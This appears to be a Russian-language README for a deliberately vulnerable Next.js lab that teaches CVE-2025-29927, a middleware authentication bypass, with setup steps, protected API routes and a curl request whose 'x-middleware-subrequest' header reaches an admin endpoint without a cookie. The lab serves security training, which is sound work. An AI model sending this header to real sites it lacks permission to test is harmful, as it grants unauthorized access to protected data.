
Преднамеренно уязвимое приложение Next.js, демонстрирующее CVE-2025-29927 (обход аутентификации на основе middleware) для обучения и практики bug bounty.
Этот репозиторий содержит намеренно уязвимое веб-приложение, созданное с использованием Next.js. Оно предназначено для демонстрации и изучения проблемы безопасности, известной как CVE-2025-29927. Цель этого проекта — помочь исследователям безопасности, студентам и баг-хантерам понять, как работает уязвимость в среде, приближенной к реальной.
[!CAUTION ] Это приложение намеренно небезопасно и никогда не должно разворачиваться в production.
CVE-2025-29927 связана с некорректной обработкой логики запросов в приложениях, созданных с использованием Next.js, особенно в middleware. Это может позволить злоумышленникам:
git clone https://github.com/metasploit403/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install
npm run dev
Некоторые маршруты намеренно уязвимы и могут включать
- /api/admin/secret
- /api/internal/health
- /api/private/data
Эти конечные точки имитируют ограниченные ресурсы, которые не должны быть доступны без соответствующей авторизации.
1.Предположим, вы успешно склонировали репозиторий
2.Запустите npm run dev
3.Это запустит ваш проект локально
4.Откройте браузер по вашему выбору, например Chrome, и введите http://localhost:3000
5.Попробуйте обратиться к любой из 3 конечных точек API
- /api/admin/secret
- /api/internal/health
- /api/private/data
6.Теперь попробуйте сделать это с любой конечной точкой
- http://localhost:3000/api/admin/secret
- http://localhost:3000/api/internal/health
- http://localhost:3000/api/private/data
7.Обратите внимание, что ваш запрос блокируется, потому что вы не включили cookie в свой запрос. Это означает, что конечная точка защищена middleware. Middleware проверяет, есть ли в вашем запросе cookie, и если его нет, запрос автоматически блокируется.
8.Теперь давайте добавим cookie to our request. Для этого откройте инструменты разработчика Chrome (я использую именно Chrome, но вы можете использовать любой понравившийся браузер)
9.нажмите F12, и откроются инструменты разработчика Chrome
10.Перейдите на вкладку консоль
11.на вкладке консоли введите document.cookie="lab-auth=authenticated"
12.Теперь обновите страницу и увидите, что вы вошли в систему (login)
Имейте в виду, что middleware проверяет, содержит ли запрос cookie. Если в запросе есть cookie, вы успешно входите, а если нет — вы блокируетесь. Вопрос в том, КАК мы можем обойти проверку middleware и войти, не предоставляя cookie. Именно это позволяет нам сделать CVE-2025-29927.
Теперь давайте обойдём проверку аутентификации middleware с помощью CVE-2025-29927. Хитрость здесь просто в добавлении этого конкретного заголовка
x-middleware-subrequest: middleware.
Этот заголовок должен использоваться только внутри фреймворка. Если мы добавим его, middleware перестанет проверять, есть ли в запросе cookie, и теперь любые чувствительные конечные точки в вашем приложении беззащитны.
Для эксплуатации давайте использовать cURL.
curl — это инструмент командной строки, который отправляет запросы на сервер и получает ответы.
1.Ожидайте 401 без cookie
curl.exe -i http://localhost:3000/api/admin/secret
Обратите внимание, что сервер ответил кодом состояния 307 временное перенаправление. Поскольку cookie отсутствует, нас перенаправляет на домашнюю/корневую страницу. Это означает, что мы не можем войти, пока не предоставим cookie.
2.curl.exe -i http://localhost:3000/api/admin/secret -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
Теперь мы добавили "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
Обратите внимание, что теперь у нас есть доступ и вход в систему без cookie. Это полный обход аутентификации.
Чтобы исправить подобные проблемы в реальных приложениях:
Этот проект предназначен только для образовательных целей. Не используйте эти методы на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Не стесняйтесь:
Если вы считаете это полезным, рассмотрите возможность поставить звёздочку репозиторию.
- Next.js
- Bug Bounty
- Web Security
- CVE-2025-29927
- Middleware Authentication
- Bypass